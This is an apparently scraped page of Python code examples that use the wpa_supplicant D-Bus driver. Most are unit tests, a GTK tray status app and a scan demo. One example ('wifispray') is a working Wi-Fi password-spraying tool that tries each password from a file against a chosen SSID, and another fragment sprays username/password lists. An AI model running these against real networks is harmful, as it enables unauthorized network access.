Ejemplo n.º 1
0
    def __init__(self):
        # Start a simple Twisted SelectReactor
        self.ssid_list = []
        self.bssid_list = []
        self.key_mgmt_list = []
        self.pairwise_list = []
        self.net_cfg = {}
        self.reactor = SelectReactor()
        self.thread1 = threading.Thread(target=self.reactor.run,
                                        kwargs={'installSignalHandlers': 0})
        self.thread1.setDaemon(True)
        self.thread1.start()
        time.sleep(0.1)
        self.f = open('pass.txt', encoding='utf-8')
        self.passwords = self.f.readlines()

        # Start Driver
        self.driver = WpaSupplicantDriver(self.reactor)

        # Connect to the supplicant, which returns the "root" D-Bus object for wpa_supplicant
        self.supplicant = self.driver.connect()

        try:
            self.interface = str(self.supplicant.get_interface('wlan0'))
            self.interface = self.supplicant.remove_interface(
                self.interface.split(',')[0][16:])
        except:
            pass
        self.interface = self.supplicant.create_interface('wlan0')
        self.scn()
        self.spray()
Ejemplo n.º 2
0
 def __init__(self):
     self._reactor = SelectReactor()
     threading.Thread(target=self._reactor.run,
                      kwargs={
                          'installSignalHandlers': 0
                      }).start()
     time.sleep(0.1)  # let reactor start
     driver = WpaSupplicantDriver(self._reactor)
     supplicant = driver.connect()
     self.interface = supplicant.get_interface('wlan0')
Ejemplo n.º 3
0
 def setUp(self):
     mocks.init()
     self._taskrunner = ThreadedTaskRunner()
     self._taskrunner.start()
     self._reactor = SelectReactor()
     self._driver = WpaSupplicantDriver(self._reactor)
     self._reactor_thread = threading.Thread(
         target=self._reactor.run, kwargs={'installSignalHandlers': 0})
     self._reactor_thread.start()
     time.sleep(0.1)
     self._supplicant = self._driver.connect()
Ejemplo n.º 4
0
def supplicant():
    """Run a reactor and provide access to the supplicant driver"""
    reactor = SelectReactor()
    t = threading.Thread(target=reactor.run, kwargs={'installSignalHandlers': 0})
    t.start()
    time.sleep(0.1)  # let reactor start
    driver = WpaSupplicantDriver(reactor)
    supplicant = driver.connect()
    try:
        yield supplicant
    except Exception as e:
        print('FAIL - {}'.format(e))
    else:
        print('OK')
    reactor.disconnectAll()
    reactor.sigTerm()
    t.join()
Ejemplo n.º 5
0
def supplicant():
    """Run a reactor and provide access to the supplicant driver"""
    reactor = SelectReactor()
    t = threading.Thread(target=reactor.run,
                         kwargs={'installSignalHandlers': 0})
    t.start()
    time.sleep(0.1)  # let reactor start
    driver = WpaSupplicantDriver(reactor)
    supplicant = driver.connect()
    try:
        yield supplicant
    except Exception as e:
        print('FAIL - {}'.format(e))
    else:
        print('OK')
    reactor.disconnectAll()
    reactor.sigTerm()
    t.join()
Ejemplo n.º 6
0
 def get_wpa_supplicant(self, dbus_name_owner=None):
     if dbus_name_owner:
         self.wpasup_running = True
         if not self.wpasup:
             # Connect to wpa_supplicant
             self.wpasup = WpaSupplicantDriver(self.reactor).connect()
             self.wpasup.register_signal('InterfaceAdded',
                                         self.scan_wpa_interfaces)
             self.wpasup.register_signal('InterfaceRemoved',
                                         self.wlan_interface_removed)
             self.scan_wpa_interfaces()
         else:
             # If we don't do anything when wpa_supplicant vanishes, then our signals seem to remain
             # registered when wpa_supplicant re-appears.  However, wpa_supplicant doesn't seem to send
             # InterfaceAdded signals when it comes up, so we must explicitly re-scan the interfaces.
             self.scan_wpa_interfaces()
     else:
         self.wpasup_running = False
         self.select_wlan_interface([])
Ejemplo n.º 7
0
 def setUp(self):
     mocks.init()
     self._taskrunner = ThreadedTaskRunner()
     self._taskrunner.start()
     self._reactor = SelectReactor()
     self._driver = WpaSupplicantDriver(self._reactor)
     self._reactor_thread = threading.Thread(target=self._reactor.run,
                                             kwargs={'installSignalHandlers': 0})
     self._reactor_thread.start()
     time.sleep(0.1)
     self._supplicant = self._driver.connect()
Ejemplo n.º 8
0
 def get_wpa_supplicant(self, dbus_name_owner = None):
   if dbus_name_owner:
     self.wpasup_running = True
     if not self.wpasup:
       # Connect to wpa_supplicant
       self.wpasup = WpaSupplicantDriver(self.reactor).connect()
       self.wpasup.register_signal('InterfaceAdded', self.scan_wpa_interfaces)
       self.wpasup.register_signal('InterfaceRemoved', self.wlan_interface_removed)
       self.scan_wpa_interfaces()
     else:
       # If we don't do anything when wpa_supplicant vanishes, then our signals seem to remain
       # registered when wpa_supplicant re-appears.  However, wpa_supplicant doesn't seem to send
       # InterfaceAdded signals when it comes up, so we must explicitly re-scan the interfaces.
       self.scan_wpa_interfaces()
   else:
     self.wpasup_running = False
     self.select_wlan_interface([])
Ejemplo n.º 9
0
class TestWpaSupplicant(unittest.TestCase):
    def setUp(self):
        mocks.init()
        self._taskrunner = ThreadedTaskRunner()
        self._taskrunner.start()
        self._reactor = SelectReactor()
        self._driver = WpaSupplicantDriver(self._reactor)
        self._reactor_thread = threading.Thread(
            target=self._reactor.run, kwargs={'installSignalHandlers': 0})
        self._reactor_thread.start()
        time.sleep(0.1)
        self._supplicant = self._driver.connect()

    def tearDown(self):
        self._reactor.disconnectAll()
        self._reactor.sigTerm()
        self._reactor_thread.join()
        self._taskrunner.stop()

    #
    # Helpers
    #
    def _get_interface(self, interface_name):
        return self._supplicant.get_interface(interface_name)

    def _get_any_bss(self):
        iface = self._get_interface('wlan0')
        return BSS('/fi/w1/wpa_supplicant1/Interfaces/1/BSSs/1', iface._conn,
                   iface._reactor)

    #
    # Test Driver
    #
    def test_connect(self):
        supplicant = self._driver.connect()
        self.assertIsInstance(supplicant, WpaSupplicant)

    #
    # Test Base
    #
    def test_register_for_signal(self):
        cb = mock.Mock()
        self._supplicant.register_signal('mysig', cb)
        self._supplicant._introspection.fire_signal('mysig', True)
        cb.assert_called_once_with(True)

    def test_register_for_signal_once(self):
        def fire_signal(result):
            time.sleep(1)
            self._supplicant._introspection.fire_signal('mysig', result)

        deferred_queue = self._supplicant.register_signal_once('mysig')
        self._taskrunner.queue(Task(fire_signal, True))
        result = deferred_queue.get()
        self.assertEqual(result, True)

    #
    # Test Supplicant
    #
    def test_get_interface(self):
        interface = self._supplicant.get_interface('wlan0')
        self._supplicant._without_introspection.callRemote.assert_called_with(
            'GetInterface', 'wlan0')
        self.assertTrue(isinstance(interface, Interface))
        self.assertEqual(interface.get_path(),
                         '/fi/w1/wpa_supplicant1/Interfaces/3')

    def test_get_unknown_interface(self):
        self.assertRaises(InterfaceUnknown, self._supplicant.get_interface,
                          'wlan99')

    def test_create_interface(self):
        interface = self._supplicant.create_interface('wlan0')
        self._supplicant._without_introspection.callRemote.assert_called_with(
            'CreateInterface', {
                'Ifname': 'wlan0',
                'Driver': None
            })
        self.assertTrue(isinstance(interface, Interface))
        self.assertEqual(interface.get_path(),
                         '/fi/w1/wpa_supplicant1/Interfaces/3')

    def test_create_interface_already_exists(self):
        self.test_create_interface()
        self.assertRaises(InterfaceExists, self._supplicant.create_interface,
                          'wlan0')

    def test_remove_interface(self):
        self._supplicant.create_interface('wlan0')
        returnval = self._supplicant.remove_interface(
            '/fi/w1/wpa_supplicant1/Interfaces/3')
        self._supplicant._without_introspection.callRemote.assert_called_with(
            'RemoveInterface', '/fi/w1/wpa_supplicant1/Interfaces/3')
        self.assertEqual(returnval, None)

    def test_remove_unknown_interface(self):
        supplicant = self._driver.connect()
        self.assertRaises(InterfaceUnknown, supplicant.remove_interface,
                          'wlan99')

    def test_get_debug_level(self):
        supplicant = self._driver.connect()
        self.assertEqual(supplicant.get_debug_level(), six.u('info'))

    def test_get_debug_timestamp(self):
        supplicant = self._driver.connect()
        self.assertEqual(supplicant.get_debug_timestamp(), False)

    def test_get_debug_showkeys(self):
        supplicant = self._driver.connect()

    def test_get_interfaces(self):
        supplicant = self._driver.connect()
        self.assertEqual(supplicant.get_interfaces(),
                         [u'/fi/w1/wpa_supplicant1/Interfaces/7'])

    def test_get_eap_methods(self):
        supplicant = self._driver.connect()
        self.assertEqual(supplicant.get_eap_methods(), [
            u'MD5', u'TLS', u'MSCHAPV2', u'PEAP', u'TTLS', u'GTC', u'OTP',
            u'SIM', u'LEAP', u'PSK', u'AKA', u"AKA'", u'FAST', u'PAX', u'SAKE',
            u'GPSK', u'WSC', u'IKEV2', u'TNC', u'PWD'
        ])

    #
    # Test Interface
    #
    def test_interface_scan(self):
        interface = self._get_interface('wlan0')
        scan_results = interface.scan()
        self.assertEqual(scan_results, None)

    def test_interface_blocking_scan(self):
        interface = self._get_interface('wlan0')

        def fire_signal():
            time.sleep(1)
            interface._introspection.fire_signal('ScanDone', True)

        self._taskrunner.queue(Task(fire_signal))
        scan_results = interface.scan(block=True)
        for res in scan_results:
            self.assertTrue(isinstance(res, BSS))
            self.assertEqual(res.get_path(),
                             '/fi/w1/wpa_supplicant1/Interfaces/3/BSSs/1234')

    def test_add_network(self):
        interface = self._get_interface('wlan0')
        network = interface.add_network({})
        self.assertTrue(isinstance(network, Network))
        self.assertEqual(network.get_path(),
                         '/fi/w1/wpa_supplicant1/Networks/0')

    def test_remove_network(self):
        interface = self._get_interface('wlan0')
        network = interface.add_network({})
        result = interface.remove_network(network.get_path())
        self.assertEqual(result, None)

    def test_remove_unknown_network(self):
        interface = self._get_interface('wlan0')
        self.assertRaises(NetworkUnknown, interface.remove_network,
                          '/fi/w1/wpa_supplicant1/Networks/44')

    def test_select_network(self):
        interface = self._get_interface('wlan0')
        network = interface.add_network({})
        interface.select_network(network.get_path())
        current_network = interface.get_current_network()
        self.assertEqual(current_network.get_path(), network.get_path())

    def test_get_ifname(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_ifname(), 'wlan0')

    def test_get_current_bss(self):
        interface = self._get_interface('wlan0')
        bss = interface.get_current_bss()
        self.assertTrue(isinstance(bss, BSS))

    def test_get_current_network(self):
        interface = self._get_interface('wlan0')
        net = interface.get_current_network()
        self.assertEqual(net, None)

    def test_network_disconnect(self):
        interface = self._get_interface('wlan0')
        network = interface.add_network({})
        interface.select_network(network.get_path())
        interface.disconnect_network()
        self.assertIsNone(interface.get_current_network())

    def test_network_disconnect_not_connected(self):
        interface = self._get_interface('wlan0')
        self.assertRaises(NotConnected, interface.disconnect_network)

    def test_get_networks(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_networks(), [])

    def test_get_state(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_state(), u'inactive')

    def test_get_scanning(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_scanning(), False)

    def test_get_scan_interval(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_scan_interval(), 5)

    def test_get_fast_reauth(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_fast_reauth(), True)

    def test_get_all_bss(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_all_bss(), [
            '/fi/w1/wpa_supplicant1/Interfaces/3/BSSs/1234',
        ])

    def test_get_driver(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_driver(), u'nl80211')

    def test_get_country(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_country(), u'US')

    def test_get_bridge_ifname(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_bridge_ifname(), u'')

    def test_get_bss_expire_age(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_bss_expire_age(), 180)

    def test_get_bss_expire_count(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_bss_expire_count(), 2)

    def test_get_ap_scan(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_ap_scan(), 1)

    #
    # Test BSS
    #
    def test_get_channel(self):
        # The "channel" is a conversion from frequency, so we need to test
        # the calculation being used
        bss = self._get_any_bss()
        self.assertEqual(bss.get_channel(), 11)

    def test_get_ssid(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_ssid(), 'FGHI')

    def test_get_bssid(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_bssid(), '46:47:48:49')

    def test_get_frequency(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_frequency(), 2462)

    def test_get_wpa(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_wpa(), {
            u'Group': u'tkip',
            u'KeyMgmt': [u'wpa-psk'],
            u'Pairwise': [u'tkip']
        })

    def test_get_rsn(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_rsn(), {
            u'Group': u'',
            u'KeyMgmt': [],
            u'Pairwise': []
        })

    def test_get_ies(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_ies(), [0, 9, 68, 65, 80, 150, 24, 36])

    def test_get_privacy(self):
        interface = self._get_interface('wlan0')
        bss = interface.get_current_bss()
        self.assertEqual(bss.get_privacy(), True)

    def test_get_mode(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_mode(), u'infrastructure')

    def test_get_rates(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_rates(), [54000000, 48000000, 6000000])

    def test_get_signal_dbm(self):
        interface = self._get_interface('wlan0')
        bss = interface.get_current_bss()
        self.assertEqual(-60, bss.get_signal_dbm())

    def test_get_signal_quality(self):
        interface = self._get_interface('wlan0')
        bss = interface.get_current_bss()
        self.assertEqual(80, bss.get_signal_quality())

    #
    # Test Network
    #
    def test_get_properties(self):
        interface = self._get_interface('wlan0')
        desired_network = interface.add_network({'ssid': 'foo', 'psk': 'bar'})
        interface.select_network(desired_network.get_path())
        curr_network = interface.get_current_network()
        props = curr_network.get_properties()
        self.assertEqual(props['ssid'], 'wdnu-dvt1')

    def test_get_enabled(self):
        pass
Ejemplo n.º 10
0
    # If there is a trailing line at the end of the file, remove it from
    # the password list
    if passwords[-1] == "":
        passwords = passwords[0:-1]
else:
    passwords = [password]

# Start a simple Twisted SelectReactor
reactor = SelectReactor()
threading.Thread(target=reactor.run, kwargs={
    'installSignalHandlers': 0
}).start()
time.sleep(0.1)  # let reactor start

# Start Driver
driver = WpaSupplicantDriver(reactor)

# Connect to the supplicant, which returns the "root" D-Bus object for wpa_supplicant
supplicant = driver.connect()

# Register an interface w/ the supplicant, this can raise an error if the supplicant
# already knows about this interface
try:
    interface = supplicant.get_interface(device)
except:
    interface = supplicant.create_interface(device)

# Read usernames into array, users
f = open(userfile, 'r')
users = [l.rstrip() for l in f.readlines()]
f.close()
Ejemplo n.º 11
0
class WlanApp:

  def __init__(self):
    self.prefix = 'W:'
    self.suffix = ' '
    self.tooltip_heading = 'Wireless LAN Status:\n'

    self.iface = None  # Set to interface name to override interface selection

    self.build_ui()

    # Needed by wpa_supplicant.core
    self.reactor = SelectReactor()
    thread = threading.Thread(target=self.reactor.run, kwargs={'installSignalHandlers': 0})
    thread.daemon = True
    thread.start()
    time.sleep(0.1)  # let reactor start

    self.wpasup = None
    self.wpasup_running = False
    self.wlan = None
    self.wlan_signal = None

    # Monitor the availability of wpa_supplicant via DBus
    self.dbus = SystemBus()
    # watch_name() fires an event as soon as GLib.MainLoop() starts, so we don't need to explicitly
    # call get_wpa_supplicant() here
    self.dbus.watch_name(BUS_NAME, 0, self.get_wpa_supplicant, self.get_wpa_supplicant)
    self.start_watch_thread()

  def build_ui(self):
    self.tray = tray = Gtkti.TrayIcon()
    self.eventbox = eventbox = Gtk.EventBox()
    eventbox.set_tooltip_text(self.tooltip_heading+'WPA Supplicant not running')
    tray.add(eventbox)
    self.tray_label = tray_label = Gtk.Label(self.prefix+'_'+self.suffix)
    eventbox.add(tray_label)
    tray.show_all()

    menu = Gtk.Menu()
    item_quit = Gtk.MenuItem('Quit')
    def quit(menu_item):
      if sys.version_info < (3, 0):
        os.kill(os.getpid(), signal.SIGINT)
      else:
        Gtk.main_quit()
    item_quit.connect('activate', quit)
    menu.append(item_quit)
    menu.show_all()
    def button_pressed(eventbox, event, menu=menu):
      if event.type == Gdk.EventType.BUTTON_PRESS and event.button == 3:
        menu.popup(None, None, None, None, event.button, event.time)
    eventbox.connect('button-press-event', button_pressed)

  # Update the UI (thread-safe)
  def update_ui(self):
    GLib.idle_add(self.gtk_update_ui)

  # Update the UI (within the GTK main thread ; not thread-safe)
  def gtk_update_ui(self):
    if not self.wpasup_running:
      display_str = '_'
      tooltip_str = 'WLAN Interface is down (WPA Supplicant is not running)'
    elif not self.wlan:
      display_str = '_'
      tooltip_str = 'WLAN Interface not found via WPA Supplicant'
    else:
      try:
        ifname = self.wlan.get_ifname()
        tooltip_str = ifname
        state = self.wlan.get_state()
        tooltip_str += ' '+state.title()
        if state == 'interface_disabled':
          display_str = '_'
        elif state == 'disconnected' or state == 'inactive':
          display_str = '-'
        elif state == 'scanning':
          display_str = '?'
        elif state == 'authenticating' or state == 'associating' or state == 'associated' or \
             state == '4way_handshake' or state == 'group_handshake':
          display_str = '@'
        elif state == 'completed':
          display_str = ''
          tooltip_str += ' Connected'
        elif state == 'unknown':
          display_str = '!'
        else:
          display_str = '!'
          print >> sys.stderr, 'Unknown wpa_supplicant state: '+state+' to '+self.wlan.get_current_bss().get_ssid()
        bss = self.wlan.get_current_bss()
        if bss:
          display_str += bss.get_ssid()
          tooltip_str += ' to '+bss.get_ssid()
      except:
        # This is expected if another thread sets self.wlan to None while the above code is
        # executing, or if wpa_supplicant shuts down while the above code is executing.  In either
        # case, another UI update should happen momentarily.
        display_str = '!'
        tooltip_str = 'Unknown (Exception Thrown)'
    self.tray_label.set_text(self.prefix+display_str+self.suffix)
    self.eventbox.set_tooltip_text(self.tooltip_heading+tooltip_str)

    # Return false to unregister this method as a GLib idle handler
    return False

  def select_wlan_interface(self, interfaces):
    if self.wlan_signal:
      wlan_signal = self.wlan_signal  # To avoid race conditions
      self.wlan_signal = None
      wlan_signal.cancel()
    self.wlan = None
    if interfaces:
      if self.iface:
        for interface in interfaces:
          if interface.get_ifname() == self.iface:
            self.wlan = interface
            break
      else:
        self.wlan = interfaces[0]
      self.wlan_signal = \
       self.wlan.register_signal('PropertiesChanged', lambda args: self.update_ui())
    self.update_ui()

  def scan_wpa_interfaces(self, args=None):
    self.wpa_interfaces = self.wpasup.get_interfaces()
    self.select_wlan_interface(self.wpa_interfaces)

  def wlan_interface_removed(self, path):
    # wpa_supplicant sends InterfaceRemoved just before shutting down, and get_interfaces() may
    # throw an exception if it is called while wpa_supplicant is shutting down.  So, instead of
    # calling scan_wpa_interfaces on InterfaceRemoved, it is probably better to keep a cache of the
    # list of interfaces and just delete the relevant interface from the cache.
    self.wpa_interfaces[:] = [i for i in self.wpa_interfaces if not i.get_path() == path]
    self.select_wlan_interface(self.wpa_interfaces)

  def get_wpa_supplicant(self, dbus_name_owner = None):
    if dbus_name_owner:
      self.wpasup_running = True
      if not self.wpasup:
        # Connect to wpa_supplicant
        self.wpasup = WpaSupplicantDriver(self.reactor).connect()
        self.wpasup.register_signal('InterfaceAdded', self.scan_wpa_interfaces)
        self.wpasup.register_signal('InterfaceRemoved', self.wlan_interface_removed)
        self.scan_wpa_interfaces()
      else:
        # If we don't do anything when wpa_supplicant vanishes, then our signals seem to remain
        # registered when wpa_supplicant re-appears.  However, wpa_supplicant doesn't seem to send
        # InterfaceAdded signals when it comes up, so we must explicitly re-scan the interfaces.
        self.scan_wpa_interfaces()
    else:
      self.wpasup_running = False
      self.select_wlan_interface([])

  def start_watch_thread(self):
    thread = threading.Thread(target=GLib.MainLoop().run)
    thread.daemon = True
    thread.start()
Ejemplo n.º 12
0
class wifispray:
    def __init__(self):
        # Start a simple Twisted SelectReactor
        self.ssid_list = []
        self.bssid_list = []
        self.key_mgmt_list = []
        self.pairwise_list = []
        self.net_cfg = {}
        self.reactor = SelectReactor()
        self.thread1 = threading.Thread(target=self.reactor.run,
                                        kwargs={'installSignalHandlers': 0})
        self.thread1.setDaemon(True)
        self.thread1.start()
        time.sleep(0.1)
        self.f = open('pass.txt', encoding='utf-8')
        self.passwords = self.f.readlines()

        # Start Driver
        self.driver = WpaSupplicantDriver(self.reactor)

        # Connect to the supplicant, which returns the "root" D-Bus object for wpa_supplicant
        self.supplicant = self.driver.connect()

        try:
            self.interface = str(self.supplicant.get_interface('wlan0'))
            self.interface = self.supplicant.remove_interface(
                self.interface.split(',')[0][16:])
        except:
            pass
        self.interface = self.supplicant.create_interface('wlan0')
        self.scn()
        self.spray()

    def im_out(self):
        self.f.close()
        self.thread1.join(1)
        sys.exit()

    def scn(self):
        #Issue the scan
        print("Now Scanning...")
        scan_results = self.interface.scan(block=True)
        #print(scan_results)
        print(color.C + "========" + color.Y + "SSID" + color.C + "========" +
              color.E)
        count = 1
        for bss in scan_results:
            self.ssid_list.append(bss.get_ssid())
            self.bssid_list.append(bss.get_bssid())
            rsn = bss.get_rsn()
            if len(rsn['Pairwise']) == 0:
                key = color.Y + "empty" + color.E
                pass
            else:
                self.pairwise_list.append(rsn['Pairwise'][0])
                self.key_mgmt_list.append(rsn['KeyMgmt'][0])
                key = rsn['KeyMgmt'][0]
            print(color.C + "{}) ".format(count) + color.E +
                  "{} ".format(bss.get_ssid()) + color.R + "({})".format(key) +
                  color.E)
            count += 1
        print(color.C + "====================" + color.E)

    def spray(self):
        indx = int(input("Which SSID do you want to password-spray? ")) - 1
        print("Password-spraying " + color.R +
              "{}:".format(self.ssid_list[indx]) + color.E)
        self.net_cfg["mode"] = 0
        self.net_cfg['ssid'] = self.ssid_list[indx]
        self.net_cfg['key_mgmt'] = self.key_mgmt_list[indx].upper()
        for i in self.passwords:
            j = i.strip('\n')
            if len(j) >= 8:
                self.net_cfg['psk'] = j
                print(color.C + "Trying --> " + color.E + "{}".format(j))
                add_net = self.interface.add_network(self.net_cfg)
                self.interface.select_network(add_net.get_path())
                time.sleep(.2)
                state = self.interface.get_state()
                print(state)
                loop = 0
                while (state == "scanning" or state == "authenticating"
                       or state == "associating" or state == "associated"
                       or state == "disconnected"):
                    time.sleep(.2)
                    state = self.interface.get_state()
                    loop += 1
                    #print(state)
                    if state == "4way_handshake":
                        time.sleep(.3)
                        state = self.interface.get_state()
                        print(state)
                    if loop > 10:
                        break

                if state == "completed":
                    print(color.B + state + color.E)
                    print(color.Y + "\n+++" + color.E + "The Password for " +
                          color.R + "{}".format(self.net_cfg['ssid']) +
                          color.E + " is " + color.E + "\"\"\"" + color.R +
                          "{}".format(self.net_cfg['psk']) + color.E +
                          "\"\"\"" + color.Y + "+++\n" + color.E)
                    self.interface.disconnect_network()
                    self.im_out()
        interface.disconnect_network()
        self.im_out()
Ejemplo n.º 13
0
from wpa_supplicant.core import WpaSupplicantDriver
from twisted.internet.selectreactor import SelectReactor
import threading
import time

# Start a simple Twisted SelectReactor
reactor = SelectReactor()
threading.Thread(target=reactor.run, kwargs={'installSignalHandlers': 0}).start()
time.sleep(0.1)  # let reactor start

# Start Driver
driver = WpaSupplicantDriver(reactor)

# Connect to the supplicant, which returns the "root" D-Bus object for wpa_supplicant
supplicant = driver.connect()

# Register an interface w/ the supplicant, this can raise an error if the supplicant
# already knows about this interface
interface = supplicant.create_interface('wlan0')

# Issue the scan
scan_results = interface.scan(block=True)
for bss in scan_results:
    print bss.get_ssid()
Ejemplo n.º 14
0
class TestWpaSupplicant(unittest.TestCase):
    def setUp(self):
        mocks.init()
        self._taskrunner = ThreadedTaskRunner()
        self._taskrunner.start()
        self._reactor = SelectReactor()
        self._driver = WpaSupplicantDriver(self._reactor)
        self._reactor_thread = threading.Thread(target=self._reactor.run,
                                                kwargs={'installSignalHandlers': 0})
        self._reactor_thread.start()
        time.sleep(0.1)
        self._supplicant = self._driver.connect()

    def tearDown(self):
        self._reactor.disconnectAll()
        self._reactor.sigTerm()
        self._reactor_thread.join()
        self._taskrunner.stop()

    #
    # Helpers
    #
    def _get_interface(self, interface_name):
        return self._supplicant.get_interface(interface_name)

    def _get_any_bss(self):
        iface = self._get_interface('wlan0')
        return BSS('/fi/w1/wpa_supplicant1/Interfaces/1/BSSs/1',
                   iface._conn,
                   iface._reactor)

    #
    # Test Driver
    #
    def test_connect(self):
        supplicant = self._driver.connect()
        self.assertIsInstance(supplicant, WpaSupplicant)

    #
    # Test Base
    #
    def test_register_for_signal(self):
        cb = mock.Mock()
        self._supplicant.register_signal('mysig', cb)
        self._supplicant._introspection.fire_signal('mysig', True)
        cb.assert_called_once_with(True)

    def test_register_for_signal_once(self):
        def fire_signal(result):
            time.sleep(1)
            self._supplicant._introspection.fire_signal('mysig', result)

        deferred_queue = self._supplicant.register_signal_once('mysig')
        self._taskrunner.queue(Task(fire_signal, True))
        result = deferred_queue.get()
        self.assertEqual(result, True)

    #
    # Test Supplicant
    #
    def test_get_interface(self):
        interface = self._supplicant.get_interface('wlan0')
        self._supplicant._without_introspection.callRemote.assert_called_with(
            'GetInterface', 'wlan0')
        self.assertTrue(isinstance(interface, Interface))
        self.assertEqual(interface.get_path(), '/fi/w1/wpa_supplicant1/Interfaces/3')

    def test_get_unknown_interface(self):
        self.assertRaises(InterfaceUnknown, self._supplicant.get_interface, 'wlan99')

    def test_create_interface(self):
        interface = self._supplicant.create_interface('wlan0')
        self._supplicant._without_introspection.callRemote.assert_called_with(
            'CreateInterface',
            {'Ifname': 'wlan0'})
        self.assertTrue(isinstance(interface, Interface))
        self.assertEqual(interface.get_path(), '/fi/w1/wpa_supplicant1/Interfaces/3')

    def test_create_interface_already_exists(self):
        self.test_create_interface()
        self.assertRaises(InterfaceExists, self._supplicant.create_interface, 'wlan0')

    def test_remove_interface(self):
        self._supplicant.create_interface('wlan0')
        returnval = self._supplicant.remove_interface(
            '/fi/w1/wpa_supplicant1/Interfaces/3')
        self._supplicant._without_introspection.callRemote.assert_called_with(
            'RemoveInterface',
            '/fi/w1/wpa_supplicant1/Interfaces/3')
        self.assertEqual(returnval, None)

    def test_remove_unknown_interface(self):
        supplicant = self._driver.connect()
        self.assertRaises(InterfaceUnknown, supplicant.remove_interface, 'wlan99')

    def test_get_debug_level(self):
        supplicant = self._driver.connect()
        self.assertEqual(supplicant.get_debug_level(), six.u('info'))

    def test_get_debug_timestamp(self):
        supplicant = self._driver.connect()
        self.assertEqual(supplicant.get_debug_timestamp(), False)

    def test_get_debug_showkeys(self):
        supplicant = self._driver.connect()

    def test_get_interfaces(self):
        supplicant = self._driver.connect()
        self.assertEqual(supplicant.get_interfaces(),
                         [u'/fi/w1/wpa_supplicant1/Interfaces/7'])

    def test_get_eap_methods(self):
        supplicant = self._driver.connect()
        self.assertEqual(supplicant.get_eap_methods(), [u'MD5',
                                                        u'TLS',
                                                        u'MSCHAPV2',
                                                        u'PEAP',
                                                        u'TTLS',
                                                        u'GTC',
                                                        u'OTP',
                                                        u'SIM',
                                                        u'LEAP',
                                                        u'PSK',
                                                        u'AKA',
                                                        u"AKA'",
                                                        u'FAST',
                                                        u'PAX',
                                                        u'SAKE',
                                                        u'GPSK',
                                                        u'WSC',
                                                        u'IKEV2',
                                                        u'TNC',
                                                        u'PWD'])

    #
    # Test Interface
    #
    def test_interface_scan(self):
        interface = self._get_interface('wlan0')
        scan_results = interface.scan()
        self.assertEqual(scan_results, None)

    def test_interface_blocking_scan(self):
        interface = self._get_interface('wlan0')

        def fire_signal():
            time.sleep(1)
            interface._introspection.fire_signal('ScanDone', True)

        self._taskrunner.queue(Task(fire_signal))
        scan_results = interface.scan(block=True)
        for res in scan_results:
            self.assertTrue(isinstance(res, BSS))
            self.assertEqual(res.get_path(),
                             '/fi/w1/wpa_supplicant1/Interfaces/3/BSSs/1234')

    def test_add_network(self):
        interface = self._get_interface('wlan0')
        network = interface.add_network({})
        self.assertTrue(isinstance(network, Network))
        self.assertEqual(network.get_path(), '/fi/w1/wpa_supplicant1/Networks/0')

    def test_remove_network(self):
        interface = self._get_interface('wlan0')
        network = interface.add_network({})
        result = interface.remove_network(network.get_path())
        self.assertEqual(result, None)

    def test_remove_unknown_network(self):
        interface = self._get_interface('wlan0')
        self.assertRaises(NetworkUnknown,
                          interface.remove_network,
                          '/fi/w1/wpa_supplicant1/Networks/44')

    def test_select_network(self):
        interface = self._get_interface('wlan0')
        network = interface.add_network({})
        interface.select_network(network.get_path())
        current_network = interface.get_current_network()
        self.assertEqual(current_network.get_path(), network.get_path())

    def test_get_ifname(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_ifname(), 'wlan0')

    def test_get_current_bss(self):
        interface = self._get_interface('wlan0')
        bss = interface.get_current_bss()
        self.assertTrue(isinstance(bss, BSS))

    def test_get_current_network(self):
        interface = self._get_interface('wlan0')
        net = interface.get_current_network()
        self.assertEqual(net, None)

    def test_network_disconnect(self):
        interface = self._get_interface('wlan0')
        network = interface.add_network({})
        interface.select_network(network.get_path())
        interface.disconnect_network()
        self.assertIsNone(interface.get_current_network())

    def test_network_disconnect_not_connected(self):
        interface = self._get_interface('wlan0')
        self.assertRaises(NotConnected, interface.disconnect_network)

    def test_get_networks(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_networks(), [])

    def test_get_state(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_state(), u'inactive')

    def test_get_scanning(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_scanning(), False)

    def test_get_scan_interval(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_scan_interval(), 5)

    def test_get_fast_reauth(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_fast_reauth(), True)

    def test_get_all_bss(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_all_bss(),
                         ['/fi/w1/wpa_supplicant1/Interfaces/3/BSSs/1234', ])

    def test_get_driver(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_driver(), u'nl80211')

    def test_get_country(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_country(), u'US')

    def test_get_bridge_ifname(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_bridge_ifname(), u'')

    def test_get_bss_expire_age(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_bss_expire_age(), 180)

    def test_get_bss_expire_count(self):
        interface = self._get_interface('wlan0')
